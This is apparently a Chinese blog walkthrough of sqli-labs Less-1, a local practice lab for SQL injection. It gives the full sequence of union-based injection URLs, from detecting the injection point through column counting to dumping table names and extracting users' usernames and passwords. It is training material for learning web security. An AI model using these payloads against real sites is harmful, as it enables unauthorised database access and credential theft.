SQL注入sqlilabs-master闯关-Less-1

目录

一、判断注入类型:字符型

二、利用错误回显爆出字段数量

1、order by 的运用

三、测试回显位置

1、union 联合查询的运用

四、爆出当前数据库名称和数据库版本

五、爆出当前数据库所有表名

六、爆出user表的字段名

七、爆出users表的账户密码


一、判断注入类型:字符型

http://127.0.0.1/sqlilabs-master/Less-1/?id=1 传入参数id,返回正常

http://127.0.0.1/sqlilabs-master/Less-1/?id=2 传入参数id=2,返回正常,但页面不同

http://127.0.0.1/sqlilabs-master/Less-1/?id=1' 传入参数id=1'出错

以此判断类型为字符型注入,传入了错误参数1’

二、利用错误回显爆出字段数量

1、order by 的运用

http://127.0.0.1/sqlilabs-master/Less-1/?id=1' order by 3--+  返回正常(用--+将'闭合)

http://127.0.0.1/sqlilabs-master/Less-1/?id=1' order by 4--+ 返回错误 说明有三个字段(用--+将'闭合)

三、测试回显位置

1、union 联合查询的运用

http://127.0.0.1/sqlilabs-master/Less-1/?id=0' union select 1,2,3--+ 显示回显位为2,3

注意查询时前面的id不能有返回内容 可以用0或-1代替(传入一个错误id值)

四、爆出当前数据库名称和数据库版本

数据库名为security 版本为mysql5.7

http://127.0.0.1/sqlilabs-master/Less-1/?id=-1' union select 1,database(),version()--+

五、爆出当前数据库所有表名

http://127.0.0.1/sqlilabs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

 注意:如果不用group_concat连结 只返回一个查询结果

http://127.0.0.1/sqlilabs-master/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()--+

查询语句来源

证实:

六、爆出user表的字段名

http://127.0.0.1/sqlilabs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=”users”--+

查询语句来源

证实:

七、爆出users表的账户密码

http://127.0.0.1/sqlilabs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

注意:如果不用group_concat()将表中第一行的用户账户和密码

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值